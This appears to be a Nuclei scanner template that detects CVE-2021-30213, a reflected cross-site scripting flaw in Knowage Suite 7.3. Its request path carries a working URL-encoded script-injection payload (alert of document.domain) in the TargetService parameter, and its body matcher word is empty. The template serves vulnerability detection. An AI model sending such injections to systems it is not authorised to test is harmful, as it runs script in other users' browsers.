id: CVE-2021-30213 info: name: Knowage Suite 7.3 - Cross-Site Scripting author: alph4byt3 severity: medium description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter. remediation: | Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3. reference: - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md - https://nvd.nist.gov/vuln/detail/CVE-2021-30213 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-30213 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.4078 cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: eng product: knowage tags: cve,cve2021,xss,knowage http: - method: GET path: - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - text/html - type: status status: - 200